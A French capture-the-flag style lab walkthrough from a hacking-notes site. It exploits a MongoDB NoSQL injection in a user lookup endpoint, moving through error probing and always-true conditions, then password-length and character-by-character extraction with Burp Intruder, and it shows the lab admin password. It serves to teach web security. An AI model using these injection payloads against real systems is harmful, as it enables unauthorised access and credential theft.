> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/nosql-injection/data-extraction-via-nosql-injection.md).

# Extraction de données via injection NoSQL

### Exploiter une injection NoSQL pour extraire des données

**Contexte du laboratoire**

La fonctionnalité de recherche d'utilisateurs de ce labo est basée sur une base de données NoSQL **MongoDB**. / Elle est vulnérable à une \*\*injection NoSQL\*\*.

\*\*Objectif :\*\*/ Extraire le mot de passe de l'utilisateur **administrateur** puis se connecter à son compte.

Un compte valide est fourni :

* **Identifiant :** `wiener`
* **Mot de passe :** `peter`

```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```

<figure><img src="/files/17a21456d3d8f51bd6d0d0c99d15bd1033d68ea5" alt=""><figcaption></figcaption></figure>

**Analyse de l'opération**

Après s'être connecté à `wiener:peter`, la requête suivante est envoyée en arrière-plan :

```bash
GET /user/lookup?user=
```

Cette requête répertorie des informations sur les utilisateurs.

* Exemple :

```bash
GET /user/lookup?user=administrator
```

<figure><img src="/files/daf36e598d4f7f7b4b474620eda1578a0efb21c9" alt=""><figcaption></figcaption></figure>

L'interface affiche alors :

```bash
Votre nom d'utilisateur est : wiener (rôle : utilisateur)
```

<figure><img src="/files/70c0f209e41dc2cb4721c855a649244a45c6e5e0" alt=""><figcaption></figcaption></figure>

**Détection de la vulnérabilité NoSQL**

En injectant une seule apostrophe :

```bash
administrator'
```

Le serveur renvoie une erreur :

```terraform
{
  "message": "Une erreur s'est produite lors de la récupération des détails de l'utilisateur"
}
```

<figure><img src="/files/877f6c5890018b8a38acf7c6cc9180dcd272740f" alt=""><figcaption></figcaption></figure>

Cependant, en ajoutant une condition toujours vraie :

```bash
administrator' || true ||'
```

La requête est acceptée, confirmant la présence d'une \*\*injection NoSQL\*\*.

**Extraction de la longueur du mot de passe**

Le `this.password.length` attribut est utilisé pour déterminer la taille du mot de passe.

Exemple de test :

```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```

Pour que cela fonctionne correctement, il est nécessaire de \*\*d

```bash
wiener' %26%26 this.password.length == 5 ||'
```

\*\* Application à l'administrateur\*\*

<figure><img src="/files/8cd7902da756d446cc4d1971da0b7a049606de02" alt=""><figcaption></figcaption></figure>

En répétant la méthode avec le `administrateur` utilisateur :

```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```

La condition est validée, indiquant que le mot de passe de l'administrateur contient **8 caractères**.

<figure><img src="/files/279b54c619656a736f6345a935d356d35b5c7da9" alt=""><figcaption></figcaption></figure>

**Extraire caractère par caractère**

Puis filtrer par position :

```bash
administrator' %26%26 this.password[0]=='X
```

Cette requête est envoyée à **Intruder**.

<figure><img src="/files/5339cb006071b16f8cb8a768e89260fbae238531" alt=""><figcaption></figcaption></figure>

### \*\* Attaque avec Intruder\*\*

<figure><img src="/files/da16cccaa249b3eaf7901e36b4b91875efcfd88e" alt=""><figcaption></figcaption></figure>

Type d'attaque : **Bombardement en grappes**

<figure><img src="/files/493bf690ce6bf7debc922f6240fee92db7b5e9e7" alt=""><figcaption></figcaption></figure>

Paramètres :

* Position du caractère : `0` en `7` valeurs

<figure><img src="/files/40a8a1658e425ee20be735588de997364b685d50" alt=""><figcaption></figcaption></figure>

* Caractères testés : alphabet (dictionnaire de lettres)

<figure><img src="/files/0929cd79689973463e9314dc9b0dd738d809b983" alt=""><figcaption></figcaption></figure>

En analysant les réponses valides, le mot de passe est reconstitué.

| nombre | lettre |
| ------ | ------ |
| 0      | v      |
| 1      | x      |
| 2      | t      |
| 3      | r      |
| 4      | m      |
| 5      | e      |
| 6      | z      |
| 7      | s      |

<figure><img src="/files/677cfe9953cbf7c98195276a9707c7af77964700" alt=""><figcaption></figcaption></figure>

**Résultat final**

**Mot de passe de l'utilisateur administrateur :**

`vxtrmezs`

<figure><img src="/files/9b6d8d47a0d63e5829a708bbd25f449ba15a4cb1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
